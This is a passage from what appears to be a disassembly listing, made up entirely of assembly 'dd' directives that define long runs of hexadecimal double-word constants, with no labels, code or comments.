16C282C9h, 55FCB1E9h dd 0B3A38096h, 15BA67F8h, 981B80h, 9B05EA45h, 1366078h dd 646F058h, 0ADA377Bh, 1C7C0ED0h, 3D729AAh, 771659F3h dd 2364F3E0h, 0DDD5F65Eh, 0D290D6FDh, 0E3E06620h, 0D6B12B9Fh dd 8D4242E4h, 0F1520009h, 95AEFDFAh, 564B6850h, 49D377F7h dd 9910FECCh, 0BA804E33h, 0F7560994h, 0B7814A79h, 7FC53A6Ch dd 4ECB8A80h, 0C14B04C9h, 0FA4706E7h, 7C48D6D0h, 0EC2A40E6h dd 762E1513h, 7EA11F09h, 0F550CEBCh, 0F784B0F8h, 0A7CBEF9Ch dd 0E275C19Ah, 0A64CDDB0h, 8BD7CA2Ah, 15B0E706h, 3E9A3AD9h dd 0CD2DEB84h, 84BD356h, 0EAA0B0E0h, 0F33BF51Ch, 59DCBD01h dd 9C35033Fh, 0B219102Ah, 0D27B0D04h, 0AF86C32Ah, 0B9D9A93Fh dd 1264DD20h, 230B39F2h, 33678625h, 88C32512h, 3A3F8C61h dd 0ED816F1Fh, 8E5C0FFh, 80ACB6ECh, 4CB45F5Bh, 430496Fh dd 0BBD44D34h, 0D35881FFh, 0C57E7869h, 0E8A34461h, 3E124901h dd 894DBE6Bh, 59D6310Bh, 0EC380812h, 0F6CBCB9Dh, 58E6EA8h dd 0A3FD442Dh, 4A89AE2Bh, 4FA1BD41h, 5804E33Bh, 0B56D20BCh dd 7BBD8170h, 3BD5E90Dh, 0BEDC20D1h, 0AAD1F728h, 0FB807B40h dd 6E2AC12Ah, 0FA603FEEh, 3B284E3Ch, 541017Ch, 8B28108h dd 7B647EB6h, 0FE640AEh, 1748735h, 80E86C4Bh, 5D250CD0h dd 405A37FEh, 286F572Fh, 5C9C2BC0h, 0BC8094EAh, 3179D8D0h dd 0B5085095h, 3886FD2Ch, 97A9EB52h, 8DDC1FBBh, 3BD163A2h dd 0BBE69F04h, 0ADD7C8A9h, 11EE88F6h, 3EA04F34h, 376600BEh dd 0E68148FAh, 512F6429h, 8592024Eh, 28B075AEh, 59B3507Ah dd 84DF539Eh, 7AC01BA4h, 9F23931Bh, 0C20C49FAh, 0ACDC6CE9h dd 15A17D3h, 0C7F1B2DAh, 201BFEE9h, 0DA33790Bh, 1C584C37h dd 0B9627401h, 70F8296Eh, 3ABE7DF6h, 14FF0449h, 4A213CB0h dd 8908A9C1h, 77356249h, 0A4BF5BC5h, 83BD3A0Fh, 4F679BCEh dd 9DF6B07Eh, 5AF7EDEFh, 0BB8603B8h, 4D228E4h, 0D0082BC6h dd 576FC7Ch, 7542F1Eh, 0A9E9D88Ah, 0AF7C8C29h, 58E1300Bh dd 8DEE6707h, 0B9FE295Bh, 0F352BF0Bh, 5C93BD65h, 2129BA61h dd 259D68BAh, 0D3018D98h, 5A080084h, 0C25E950h, 278E14D5h dd 9A71F6DEh, 7B41E501h, 0C5D87372h, 0FDA50903h, 0F1A018Ch dd 5ACAC657h, 65FFB359h, 32BDED4Ch, 0A372C9DEh, 0F7B09E44h dd 59991E20h, 0B04B585Bh, 139F5831h, 61614B6Ch, 4900DE5h dd 0D3691182h, 2E9DA4ABh, 10D7ACF3h, 0CFBD07CAh, 5D0B465Bh dd 2FF56C90h, 521A6210h, 0A3C62403h, 425A01ADh, 9777ABB2h dd 7CF8DCD2h, 0FA68F4A8h, 0BA316B4Fh, 5F00D807h, 28143005h dd 28DE616Dh, 5E5A072Dh, 0A8CDAE88h, 0BDD021E8h, 2C3F2BF3h dd 0BF8062BCh, 17184F29h, 0D8FA5C89h, 247DE831h, 0B43C132Bh dd 81B4AEBCh, 89FDB20Bh, 59125F31h, 4A778886h, 11169A28h dd 9E04FA63h, 0F8175015h, 68444E97h, 0EE53D2D0h, 1679CE4Eh dd 2F431EABh, 0D16B8059h, 4BF1A09Fh, 344527CBh, 0EE4183E5h dd 82AA8348h, 68A71D84h, 174D1EB8h, 0BB522D49h, 0F504A624h dd 0B9E58C72h, 2575FA4h, 5BDF87FBh, 0A496DD61h, 632C57ABh dd 86F3310Fh, 299079Ch, 7D46E3EBh, 657D5E38h, 2DCC20EEh dd 5EDA1019h, 0E24E250Bh, 86A05F65h, 7165774h, 0B28ECEDh dd 2644183Fh, 0F81748DAh, 0D9D829FBh, 53919C90h, 76F5BB87h dd 0E43E169h, 0D96E6135h, 0C6584170h, 62BF004Ch, 8CA2E48h dd 8005147Dh, 9580C967h, 0BC0EEB2h, 0E04EB652h, 0BCC097F4h dd 7B59E9CDh, 0DB040B4Ah, 582F5E59h, 0A4B6768h, 0C89882ADh dd 0B8809D9Ch, 0B720129h, 3E0C107h, 45AD025h, 0D5201390h dd 0BD509F51h, 499C6819h, 167AFAF1h, 1075DB2Ch, 0EE58CD56h dd 9F2F101h, 0C6497F96h, 7D8B980h, 0C12842CFh, 0F201B4E2h dd 716D41D0h, 0E425B0E9h, 149F9B3Ah, 2F726852h, 976A415Ah dd 0FF5D177Fh, 8B3FBE29h, 18E6283Eh, 97E31EA1h, 35575EB1h dd 86483BE6h, 2FC3984Fh, 59B7E99Ah, 0C3E9E2B0h, 0D00797F8h dd 0C7F780E7h, 17514E3Eh, 7C90B51Fh, 0F2CAFE17h, 96523E04h dd 0D5CDE1A6h, 1774C92Ch, 0F263E068h, 0C73B166Ah, 0E07B73C9h dd 4001CDA3h, 4729980Ch, 0BD305824h, 2A6341A1h, 0DB8E48C7h dd 0AEC9B003h, 9F33D01h, 4EDF7E92h, 9E49B726h, 0DCB1B07Fh dd 0A43CB9B4h, 9D715A05h, 0D0EF18B5h, 8A99E95Ah, 9F17C49Dh dd 68132A70h, 6C34057Eh, 35E9D620h, 31929F5Bh, 0C46F47C1h dd 609D6282h, 5C3040D9h, 2B0F6965h, 16932A58h, 96540512h dd 0D226AA7Eh, 0BCB90B90h, 0A483DCEAh, 0A150A4E9h, 0EF5A07FEh dd 8A9F93ACh, 82894841h, 0D144BEF3h, 0DD4751E0h, 3A6789A9h dd 0B3532B81h, 0D879EADBh, 0FDBE5E09h, 0AA84EA5h, 0E6202925h dd 40746B2Fh, 0C6C031B0h, 449D11E6h, 5F26F046h, 0DEFCF28Bh dd 4BC9C11Fh, 3E9C5F9Ah, 7F95629Dh, 90971416h, 4AC26899h dd 0A4A1F819h, 0EFE2AC2h, 0AF330417h, 195F8A48h, 592C4C29h dd 601BD38h, 0E92E900Fh, 1D697CB5h, 3FCBEF88h, 0AA96F5B6h dd 0A34EABFAh, 0D4F9C641h, 9C2C6A14h, 17ACBD4Ah, 859DD3DFh dd 6A76E67Bh, 30098407h, 0B7B3C4B5h, 0C8FE42CCh, 0BA1EB260h dd 4CB96AADh, 0D4062357h, 824FE855h, 0DD232B01h, 848E91Dh dd 7865F23Bh, 0D378122Fh, 2FE64B22h, 936F0748h, 0BAB599D7h dd 59D90CB1h, 51AAB07Fh dd 13E3B13Bh, 0DA0304E1h, 10CE309Bh, 137E216Ah, 6D08028Fh dd 0FD311646h, 4B8200BCh, 0D8F77BBDh, 57240h, 297E0C9Dh dd 0D185E9C3h, 0C36AEA9Dh, 0C90C595Ah, 78C6489h, 108B835Ah dd 2ECB9374h, 5A033A5Dh, 0E112E8C1h, 412BE0FBh, 274137A8h dd 438480B2h, 93074B0Ah, 4D373F7h, 9D697105h, 27DAC5Fh dd 2B68EE29h, 61E8DC5Bh, 92525F2Dh, 0A908C61Eh, 0D37E25E5h dd 1A4CD611h, 0FFC62125h, 6CBA5B4Ah, 3D30E917h, 0C7C1A79Fh dd 21183A06h, 0C53F62EFh, 142EA333h, 0D04EDDDCh, 0BCDEB8Ah dd 1320FA2Eh, 8025C34h, 5BD8215Fh, 9FF71B01h, 9BE504Ah dd 1BD55F58h, 0B94E19Dh, 88599087h, 3F01B65Ch, 919C5B4Eh dd 0C6692FE9h, 24A25051h, 0C7F5D38Ah, 0A60CB46Fh, 7EE1103Fh dd 200A682Ah, 5C27B5CDh, 8CA7A231h, 9211CC45h, 9C2397D3h dd 0E12DC434h, 8E6E2AC2h, 0D80D1702h, 0F899631Ah, 4C6F9F16h dd 5101CB09h, 33575DB9h, 0BBA12A61h, 54025ED9h, 90081D5Bh dd 0E5C10C4Ah, 121DC5BEh, 7FFB0267h, 4320EAB5h, 0F6D3BA84h dd 0FF281715h, 8B202C4Fh, 5A1EA09Ah, 1D83CF81h, 836B927Dh dd 0C66F7BF7h, 5C83C6B5h, 1BFEC701h, 0FA31E261h, 0C0032F30h dd 0DECC2CDh, 1761EBFh, 1302949Fh, 0E808ED68h, 7152DE3Eh dd 0FDDFB10h, 0EDC31BEh, 6587A235h, 6EEB7598h, 3240549Ah dd 83A029ADh, 0EDA66708h, 0E1B27C95h, 3A80A2E9h, 405B83CCh dd 3D2A686Dh, 0E9124101h, 914C53F1h, 4FE31014h, 8968A97Bh dd 9935C29h, 0A1F1D388h, 561E0C81h, 43F85808h, 552597D4h dd 0E0C653D1h, 61E5DA95h, 0F9B230AEh, 25A2EE97h, 0CE12924Ah dd 3FB0AF41h, 37E9AB16h, 0DE5FC2E4h, 91EB9871h, 0F56056F5h dd 6B018190h, 5309708Bh, 0FEA586E9h, 5A3DF905h, 0E4541EC7h dd 755F5407h, 58CCD21Fh, 0D65CD57h, 6A24440Bh, 67A0DCC4h dd 1B5B059h, 154203C9h, 0E602E6C1h, 0D954B8A9h, 5371770Eh dd 76BA9205h, 0C3FE6F4h, 423DCC78h, 8803FB40h, 0BBE9A348h dd 0C72526BAh, 0F9DA0BB6h, 29D986F7h, 0B8CC2EB6h, 11E44E23h dd 0C47CB8B0h, 4D0F078Eh, 34DD92DCh, 10C88324h, 7A683609h dd 5D543126h, 8DE059CEh, 3A1102B8h, 732FF204h, 0C94A31BBh dd 0B8B05CDh, 0F7870E48h, 6A6831E9h, 0B2AF304Ah, 90EF0180h dd 425603FBh, 0CF2917EDh, 0B8D04FFh, 0E4875566h, 0AA505404h dd 4F41F9C9h, 5F02434Eh, 0E0171441h, 290A1B69h, 8BA52DEh dd 61E2D696h, 57DEE985h, 0A172ACEEh, 0E23BECA1h, 7D055AB3h dd 53CDEE4Dh, 100CCB3Fh, 4E3E467Dh, 2C9BF602h, 0F680285Eh dd 302A2496h, 48F7013Dh, 208B573h, 0BFCB8195h, 646DE042h dd 8940A60h, 6E06C69Fh, 0B0C6129h, 7D590336h, 9681905Eh dd 896EDFF4h, 61BD5500h, 1422091Fh, 3D87CDC0h, 2FE96D2Dh dd 9AEABB44h, 432659F6h, 5505F010h, 0CD456C68h, 59D020DAh dd 0D81D223Dh, 1AF60166h, 64E97E3Bh, 0D36F2A35h, 7E78B43h dd 104CB60Ch, 0CA444F8h, 5C9A181h, 201787ACh, 6C9A99C3h dd 9D861054h, 8B5E661Ch, 0A0EDE21h, 202FB9EFh, 0D7C98167h dd 0C183E334h, 8E82879h, 0CDFFAE3h, 7ECA130Bh, 0CE29040Dh dd 0BCBE0CE9h, 63ADC4C2h, 0A43F9099h, 0EF4EC1C6h, 0A20F56ACh dd 965F35B7h, 3A61A1B1h, 9BB89D8h, 56F7656h, 0C8F3B705h dd 0BD1EDB66h, 0FDD217FBh, 0E154AAC2h, 307F5B99h, 3A06879h dd 0C1A45B99h, 0E0F2A417h, 90C35F50h, 0B0A4CD7h, 0C916AC3Eh dd 4D12EF13h, 9A1B4C0Fh, 0D68C77ACh, 5A80D684h, 0C8104C34h dd 9584620h, 4F90101Eh, 5A49BB01h, 0EC4B623Ah, 0B5A854ECh dd 0CC90F1F7h, 5C514227h, 414DEE8Ah, 5C48969Bh, 0C1EB74AFh dd 3AFDFB53h, 9512FD24h, 93B4C5ECh, 212F5A7Fh, 2823D859h dd 2030C5D4h, 0E2C5F7BDh, 6EF4ED82h, 0C6510A95h, 0CE4766h dd 3470BE03h, 0BA4B4BE9h, 112162A6h, 7EB9401Ah, 9089ADB7h dd 53BAAADFh, 623006A8h, 0B5C369D1h, 3CA732C2h, 2101D316h dd 78698BF9h, 0FA80E9C4h, 42A98F17h, 77051A9Fh, 615DC077h dd 36960C77h, 310B65B9h, 0D0E9C109h, 414830F0h, 0F7982B9h dd 4F49ABA0h, 91598991h, 0D12B7C50h, 6041C5D4h, 63970929h dd 1EA7421h, 6A657C1Eh, 6A8923E9h, 7C6724A2h, 0BF48B603h dd 811400BFh, 260B35CEh, 3F5D7358h, 0E3F18A8Bh, 0DBB9DEC0h dd 0C7F56F2Eh, 9B145725h, 14B0D15Ch, 846962AEh, 0AC19A096h dd 894D6540h, 84D2F7A0h, 66094BE2h, 0EDCEED2Dh, 0F4C86A1Ch dd 9DAE70D2h, 78F79CF0h, 86CBA142h, 7CC5BF00h, 5E383027h dd 26E0B136h, 0C88003F6h, 98B65201h, 5AF12DBFh, 0B26508F0h dd 37EA6A84h, 0DC2193D4h, 3C23705h, 1B8ED588h, 91E11C1Bh dd 45E3F1B7h, 0E9827E01h, 5CC2CA30h, 0BE68F0F2h, 57198B93h dd 0D5745948h, 0CC6D4BA4h, 649E28DAh, 385EE24Eh, 42AAE27Eh dd 55080911h, 0AF12970Dh, 88D5602Dh, 56C1C902h, 568428Ch dd 66756E5Bh, 0A4E93484h, 5B8BB660h, 0E91513CEh, 96918D55h dd 0D81005B3h, 21BC5E99h, 17532C64h, 7CFC41EBh, 0DB22CC70h dd 713F1CFh, 3BC1D15Ah, 0E5C06707h, 39B55499h, 0E8E6ED96h dd 0F8201701h, 680BBECBh, 0CED91B1Dh, 0C806348Ah, 96978396h dd 7EFB3B62h, 0D55C691Fh, 62516850h, 0B0AC3B07h, 0C0B70F01h dd 0CD6B57F5h, 0FFE2E2C5h, 3B261857h, 0F41CBD82h, 7620B902h dd 40317FCBh, 0C1EB6305h, 52C7F52Bh, 0DEA02AFEh, 0FB1002BEh dd 58C5297Dh, 0F56FE85Dh, 66111828h, 4D512469h, 0F76B7F07h dd 22212DD8h, 4CD430A0h, 0ABA096Fh, 0AC02E883h, 0BA7DC2C3h dd 3253761Fh, 0A5C15D0Ah, 46FA0545h, 97D68273h, 0FFBDEE4Bh dd 0CF73277Bh, 9D607AE8h, 95C9D13Dh, 92FE350h, 41BE0F5Ch dd 390DF42Dh, 0B40B4894h, 0F53E9182h, 0D7CF1Ah, 0B06EEF80h dd 89E91869h, 0F9F78FBDh, 3973F114h, 189725B2h, 316850F1h dd 3855237Ah, 0D1F701A0h, 0DE2363Fh, 20C495D4h, 0DB6812BAh dd 50B53115h, 2610E857h, 5F417A14h, 92EC5E8Ch, 0E8980801h dd 0F1F88905h, 4BF76C50h, 2DE9CDF4h, 2674DA27h, 0C1186BEFh dd 0AC305CFDh, 0DCC6BF0Ah, 0D4455369h, 0AD22A603h, 9BA1B5E8h dd 72885280h, 0ACF55BC6h, 94EF2561h, 2AD89D56h, 5A978E54h dd 39ED832Ch, 7F4E864Fh, 4837E2EDh, 0C1128356h, 555428CEh dd 415BCFF8h, 3E6DB620h, 0ABF1ED7Ah, 0AAC77FD9h, 4817C80Eh dd 2CC11235h, 0F88309DBh, 5749B120h, 41F44CBFh, 502B1A49h dd 0E05B0F6h, 6FE90266h, 0E22B30F1h, 7F688233h, 3A4DDF5Fh dd 0E92606A2h, 0DEAD8858h, 9568780Bh, 29CC3C5Ah, 0A0CD5CBFh dd 685650C0h, 593F4266h, 6E749364h, 798610F4h, 41D5EC5h dd 0CEFC2C31h, 40783CF3h, 927DEC58h, 0EE313986h, 0AB08F534h dd 84B8C313h, 2C41884h, 7D4BDA68h, 0BD25D9EEh, 4FA5641h dd 0F832EE68h, 0C0F4C4A4h, 0DCE00012h, 4A2D2175h, 42DAF71Fh dd 7D6B5DCCh, 3F5397CFh, 0F6A2B209h, 0A1575ADEh, 120D68EBh dd 0BF013555h, 629B036Eh, 8035C92Fh, 4460C39Ch, 90EB090Ch dd 9DCF5E02h, 209B80Eh, 735DDF05h, 388F712h, 0B4591207h dd 1A5B2C32h, 49F3EB0Dh, 0DFBCF23Ah, 1E3C71CDh, 10ACF67Eh dd 881D6C32h, 0B453D3E2h, 6D637FC3h, 4AFACB8Bh, 0A205FB9Fh dd 91AEC681h, 385BE956h, 504B582Ah, 78107774h, 10447E2h dd 0C0238046h, 0E04CC1B3h, 257AEDFFh, 79F27B36h, 799AE8D3h dd 0FC6FE80h, 805FB151h dd 0C92D7C7Fh, 7EF4B389h, 12413E1Dh, 0C1307934h, 0CED158E9h dd 0A9122C3Fh, 0EDEC9A41h, 1F1B1636h, 0A3030725h, 6D8B1972h dd 2BF2025Fh, 596601C1h, 4DA12E88h, 756A46F9h, 0E353ABCEh dd 5A26ABA9h, 12C980B6h, 60BA20EBh, 0FB68FC02h, 4B5EF201h dd 7511A0E3h, 0C5EA0481h, 0AA422752h, 2608E250h, 8410F85Fh dd 1C1EFC4Fh, 32FB1AE6h, 0D10645h, 7075E9E4h, 85413DB4h dd 0F32F64E2h, 25F29363h, 0E6C988C5h, 20DD48E2h, 4BD4FE32h dd 0E1108977h, 5B1D24E3h, 3B4D92A0h, 2E627AB4h, 77450F67h dd 6BEAE728h, 70AEFE7Ch, 2584BE56h, 0FA8919E9h, 7B9595F0h dd 0E644A75Ah, 0B450C3C0h, 0C6E68863h, 878AE96Bh, 4C3C31BEh dd 13A84A44h, 351011A2h, 0E300824Fh, 0BB22553h, 6B87295Eh dd 1F7DB910h, 31752F06h, 845D8BA4h, 2D0C1E19h, 0F7970CD6h dd 0A945B4E1h, 0C17074EEh, 4B7CB02h, 0ADE283BBh, 76E236C9h dd 7FAB806Bh, 0FBE93633h, 0BACE003Bh, 55120FD6h, 8CDC2169h dd 818212DFh, 846F79F8h, 0E4128195h, 0F5F45110h, 0BE317F4Eh dd 2901AB59h, 2E4731D3h, 0E8AC0D53h, 0DF68E24Eh, 62D6CA25h dd 0A8E2561Bh, 0A6F04E56h, 7E751607h, 97C039ACh, 0E93C2E3Ah dd 98B89427h, 4EEB8883h, 6F96C78Ah, 0BEE90878h, 77C1D76Bh dd 0C581BC30h, 6148EA97h, 0C3A8DBA0h, 0CE0126D2h, 6102CBD5h dd 89D46725h, 0DB17C55Bh, 0BBE96D80h, 4B129E63h, 0D27DEB49h dd 0E0519B74h, 0AC4B856Dh, 0E9E95B89h, 0E263F85Bh, 0EACFD8ABh dd 24395DB5h, 9926454Bh, 20E9D9CEh, 2EF9B97Ah, 2D7EE08Eh dd 0D69C8DD3h, 0A0F7D6FDh, 6294EA74h, 0BC524BDAh, 0E22473A2h dd 0D513D808h, 0B6C0F7E8h, 16B6819h, 3786DF58h, 0A6629FA8h dd 0F2879B4Ch, 0BEFC48FEh, 1D6C13A4h, 12CDAD26h, 358D643Eh dd 21ACA76Fh, 0FF361AA3h, 2C266FDAh, 2053A7FAh, 0BD049D7Ah dd 0AC6251Bh, 0C52CA4AFh, 68D9A19Dh, 212E093Bh, 2D9D681h dd 0E89285ACh, 0BCE3A037h, 0A26960CBh, 3A5F79A0h, 8008589Fh dd 4814E907h, 0BDEDE6Ch, 0D21063E7h, 7A2D230Ah, 6121C22Eh dd 0E6D0A861h, 3F05E248h, 0D42F19E7h, 0EEE6B9D8h, 10A41BB7h dd 13F227EAh, 8463595Ah, 0B35398B5h, 0D5E92F9Eh, 2A855563h dd 44A2B001h, 9E061812h, 8CA80880h, 80356780h, 117C90DAh dd 31CE2D20h, 56189F8Bh, 0CC088C5Dh, 40F918E5h, 8140A71Fh dd 1729C43Ah, 34D81D4Ch, 806C0A08h, 2807204h, 1640C4B2h dd 7735065Ah, 0F6E63110h, 88431708h, 88B3718h, 0B5187CE7h dd 0CEAE2061h, 838AC10h, 18C62232h, 62C1914Ah, 0A0310878h dd 737D9C03h, 14624028h, 6CAB8640h, 9DF9919Ah, 83083162h dd 6E050317h, 40B4D131h, 888E387h, 58159765h, 5A571094h dd 8E3843Eh, 38192C45h, 8F089344h, 739A02F6h, 3857702h dd 813108CBh, 796C38FCh, 956FB301h, 10989010h, 0F91857A7h dd 8B9508D2h, 52C718C6h, 0EB4D3108h, 95DEB318h, 10CC4408h dd 3C108E1Ch, 0E60A195Fh, 79882C20h, 170C753Eh, 40ED0853h dd 41C64CD1h, 20106319h, 93209DCFh, 0B68631C8h, 882B8E08h dd 1FDC7D18h, 6F206074h, 0D3EE2056h, 100DC831h, 8801E871h dd 89250196h, 6CD60888h, 183A3408h, 4CCC4129h, 801EEE80h dd 37808BACh, 3C08C97Ah, 44506025h, 69853DCh, 202096A0h dd 5E20335Dh, 720B319Bh, 32A5B18h, 0EA49106Eh, 0E4372A23h dd 0E1E98A62h, 26A0271h, 829EC0Fh, 18A76651h, 0A8332959h dd 187AE118h, 18CC9008h, 8C6C907h, 54189956h, 406FD068h dd 0F7632875h, 2ADD1B10h, 20CCF608h, 76205093h, 0A84C20BDh dd 8CB0431h, 5102C3FBh, 6A9AA8A3h, 5CDB0824h, 10C7ED8Ch dd 0F13F4147h, 0AF950192h, 19A08190h, 21085C34h, 44D91992h dd 0A7C0304h, 2F8CF48Eh, 63CD08C0h, 57FF3048h, 0E9B00812h dd 98F18C58h, 0C6C49290h, 10600219h, 19F18E62h, 642503E6h dd 51B61018h, 0C4A4BF08h, 4100918h, 0B7091FEAh, 86240822h dd 493BBE02h, 79017118h, 1AA90358h, 7145D931h, 248F1049h dd 586241C0h, 2159710h, 0E503D03Bh, 8D592065h, 9979AB32h dd 0FD710395h, 790E149h, 0E8FC9C60h, 457F109h, 0D34AF5EFh dd 23C7C793h, 1000480Dh, 752C473Bh, 6313EB02h, 0A7B90E89h dd 5003D7Ah, 408F4401h, 0BC90B49h, 748BF775h, 0DE81AF0Eh dd 2EB9F003h, 0C033EE47h, 4FB10F80h, 0AC2CC030h, 6EE99204h dd 2DA2FA4Ah, 2CDE312Ch, 692D00E6h, 0A4E9E43Ah, 57484662h dd 5F288BBFh, 51350A80h, 785B9FA6h, 5672F9F1h, 68794196h dd 747DF95Bh, 317772D7h, 162D11B8h, 0A5AB73E1h, 0AB08C9D9h dd 685A02FFh, 2D747C71h, 8580C967h, 6152E936h, 0FE2D9634h dd 0DD62E560h, 0A8A23AC3h, 5339EBC0h, 22C541FBh, 0A74B3FE9h dd 0D4105789h, 4EC0215Eh, 6058AABEh, 6746F46Fh, 62541447h dd 0B7D66ECBh, 0C3CCFF96h, 0B9510250h, 463E4372h, 0E9043E74h dd 0F4F4F2DDh, 0CCA62BBh, 238BC268h, 539F10FEh, 964209FDh dd 77A37F10h, 784F25BDh, 0BC2BE329h, 176882A3h, 7DE65D26h dd 222388C1h, 253B3F82h, 9A8EEED8h, 39511440h, 5892D189h dd 7D16D859h, 0B82EDD60h, 1C35B23h, 79FD355Ch, 0E32D576Dh dd 0E8706BB9h, 0E127533Bh, 0A6DD016h, 725C41DBh, 0B56878C6h dd 1CA8444Fh, 0CCD301B4h, 3B516E0Bh, 80488B5h, 21FF8BFBh dd 2458281Ch, 16965101h, 6884D8C3h, 0A547EB2Dh, 0AB0B1A80h dd 1EFED64Dh, 0A8E5092Ah, 40F76C62h, 0CE6521DEh, 0C6E4D926h dd 1561AFF9h, 4D8C0952h, 0E5B71242h, 0A77FD13h, 7200E385h dd 87E93D6Ah, 0B422C7D0h, 0EB6C7E22h, 0C3A684Dh, 5EEE4A5Ah dd 98235ACDh, 5127A4FEh, 22E96285h, 67BFE4D0h, 438018F7h dd 5D18EA89h, 6458CA29h, 7D48BFB3h, 59627C04h, 0C7AEF16h dd 15E34038h, 48B48244h, 907F5B0Bh, 3FEFC1E0h, 0EE904704h dd 702925C7h, 747C0280h, 0D687679Ch, 997E60F7h, 5FEF3083h dd 0A27958A6h, 0BCE5154Fh, 0B8210805h, 84C370D1h, 12FF8AABh dd 84B91C89h, 4E4CE9A0h, 0F15A0AC9h, 1418BE77h, 685818D6h dd 46104F27h, 0DB5624B0h, 0F00162A0h, 0EF37764Eh, 6D52FA44h dd 838ADCFDh, 25371A82h, 4DE5DC1Dh, 14006792h, 5D195BB2h dd 1080E349h, 0C8E5A84Ah, 5967CF09h, 1FF7CA2Eh, 16AB522Bh dd 0FA7342FBh, 28A1B301h, 3DEC647Dh, 49EB9145h, 0FAF349C3h dd 569CEABCh, 25683A52h, 0C4C8AB2Fh, 5527E956h, 0F4FE82Fh dd 768C3D4Ah, 2D6C9290h, 4C53B159h, 0E16B0B25h, 55323B22h dd 0BA816851h, 0E61D1414h, 3702F313h, 56576355h, 4972AB81h dd 0EC287E6Bh, 5EF22531h, 22C0EADEh, 1670B560h, 0ADE9D629h dd 535C00DCh, 4EEDBE56h, 0E1A48ECh, 13B11404h, 4B70ACE5h dd 680C0FB8h, 9D9B3DB7h, 39804140h, 0EF9E4ACFh, 278DDD2Fh dd 7CC98679h, 97FF485Dh, 29A7F083h, 0A98A7FEDh, 5A7EA34Ah dd 38F6BA4h, 68487467h, 87136305h, 5520EAC3h, 5A9C1D8Ch dd 0D65CD2B3h, 70154745h, 98A04FEEh, 60BD3805h, 0D814A858h dd 0EE7C072Dh, 44B83A22h, 0E230578Bh, 0BFAE1E02h, 43C68001h dd 0F673F6CCh, 7A5E4117h, 5FC13E82h, 6E72E118h, 46716D05h dd 90BFE6D1h, 0D45CA1A8h, 0A6E95D09h, 0D132A53Fh, 0CB78C6EEh dd 1F29ED48h, 0EED302F2h, 0A1E4AADDh, 6A3C2518h, 80308DDh dd 0E9267720h, 309D7426h, 9E5F903Bh, 4D18F24Ch, 97C34990h dd 3B361313h, 0EB730AFEh dd 24283708h, 0F83BD537h, 0E0332F0Ch, 261A2D55h, 5F1F96Ch dd 4D75CB8h, 5FA7D83h, 88BAEB83h, 0F5409CE8h, 84000BFh dd 0CF812CB7h, 31D50EAh, 0F7C04701h, 43D7285Eh, 0E1B125E9h dd 0FC061677h, 55DCAA88h, 690C271h, 14DCBD03h, 3CD30E59h dd 0F180730Fh, 8AD009D8h, 8249E6C2h, 0E44DF0FBh, 0B5A92001h dd 0A5015A2Ah, 219D8FA4h, 3EC7E95Fh, 0EEC14286h, 0F00F2408h dd 0C430B85Ch, 88AEC374h, 8C796814h, 0DC699B9Fh, 0ECF18AD4h dd 8470A33Ah, 65B8F8B5h, 2D09F8B4h, 4C681A31h, 201C9A8Fh dd 0E095E58Dh, 1D40F1B8h, 814C5575h, 20652FC9h, 14B43068h dd 79FE5B80h, 1463D3C7h, 8A31C942h, 20545506h, 0BF484E4Ah dd 33E38143h, 34EC5786h, 0AA16D652h, 459C1B71h, 0C6C88F44h dd 67575442h, 4B6B33E9h, 0E8B25020h, 212D4E5Ch, 6AE56826h dd 60671748h, 27F57D6Eh, 0CE984D44h, 0B878C501h, 9E9AAC2h dd 944F2E6h, 353119F8h, 0DF68906h, 5D5A89B5h, 29A3A699h dd 0D682770Ch, 0E01353D2h, 74BB06D4h, 0E915715Dh, 352DEFC0h dd 4AA0E653h, 3E21F189h, 0EEA4E0E2h, 0C3EF7584h, 3FCE1656h dd 996E150h, 0B2595881h, 51055568h, 0BF1D37E9h, 5A6885CCh dd 9374E3B3h, 0B96E22BEh, 52936801h, 0D3D1B27Ah, 20C869BEh dd 90C90C96h, 55C05F5Fh, 659DEEE2h, 7CE94175h, 108A32DDh dd 4F50E69Ah, 0A8604F04h, 59CB12BAh, 5484DBADh, 4CDFFE5Ah dd 1220E058h, 16C8302Eh, 4A8C7CE2h, 0FE645F2Fh, 44D35F6h dd 3CE44CB1h, 4C9C5AD9h, 12B80250h, 5298374h, 2DFD840h dd 2E0525EAh, 97E94A62h, 52010BBFh, 9FCC0871h, 258212E9h dd 1FC8EE01h, 0E8C24E41h, 0C6E3E792h, 351C0550h, 0C1CA0CA3h dd 0A0FD113Dh, 5D0AE0A1h, 8C234E32h, 0E0BD07A0h, 2490C5DAh dd 27E70CFh, 2A16773Ch, 88207C4h, 3889967Fh, 3917692Dh dd 4009F81Eh, 0D826E907h, 30428CEDh, 0A180076Fh, 2AEA0861h dd 43F434F8h, 2E66E982h, 0DE29FE1Dh, 0E07D7CDh, 8BE5407Eh dd 8991C948h, 0E7C2EF60h, 14D1B78h, 4CBB5320h, 600A7235h dd 0CE000B42h, 0DF29F27Bh, 928459E9h, 2FE02061h, 1E4D01F4h dd 0FFE3295Fh, 5E6D08h, 6615B1B8h, 0F2B7893Ah, 26FC3596h dd 4444BE8Ch, 3D587F70h, 0FD828BCEh, 307E1AE1h, 4C63D056h dd 809F2C34h, 0C3B753F0h, 5A5BF80Ah, 0C7DC8DAh, 48384EE0h dd 446B76E9h, 0EE261A78h, 0A6BEFC78h, 0BD81F076h, 63D61E38h dd 0F04AAB78h, 711D0ABDh, 28BC015Ch, 42CE08C7h, 1B51AE1h dd 7CAF68BCh, 1D038051h, 0EEEE6A24h, 3B3441FAh, 5A11C10h dd 77145E64h, 0C329C2EEh, 1E5A0886h, 0DA4E8B07h, 82D90132h dd 240592Bh, 9F560EB3h, 218D748Bh, 5053D02Bh, 0D73A58E9h dd 6AD689FCh, 48315B51h, 6642DF9h, 62BA832Ch, 2C1B561Ah dd 6AE9C165h, 0AC902BA5h, 12B470A3h, 80CD2141h, 407E80D7h dd 1EAB144Bh, 0DE66E72Fh, 0FC6242A1h, 0AB76C3Eh, 1A30A2FDh dd 3C005ADh, 2D1A4446h, 2C9A63BBh, 4C7FF1E2h, 610D82DBh dd 0CACED0FFh, 81FB5581h, 0D1010D6Dh, 0EEB0103Dh, 3F4E9430h dd 2B0B9A4Ah, 5955950h, 0B82BAFE9h, 5F37DC17h, 0D91089DFh dd 23A88A4h, 0EAF2A0B5h, 0AFBD55C4h, 2814D3CCh, 78E6735Bh dd 845E5EAh, 0A35BBCE9h, 2570D473h, 0B0BFE4AAh, 2F922725h dd 0F5627F74h, 0E7C00195h, 3069E08h, 0AD7786CBh, 84239804h dd 14F15C8Bh, 254AE941h, 2ADE2AA7h, 8DC655C9h, 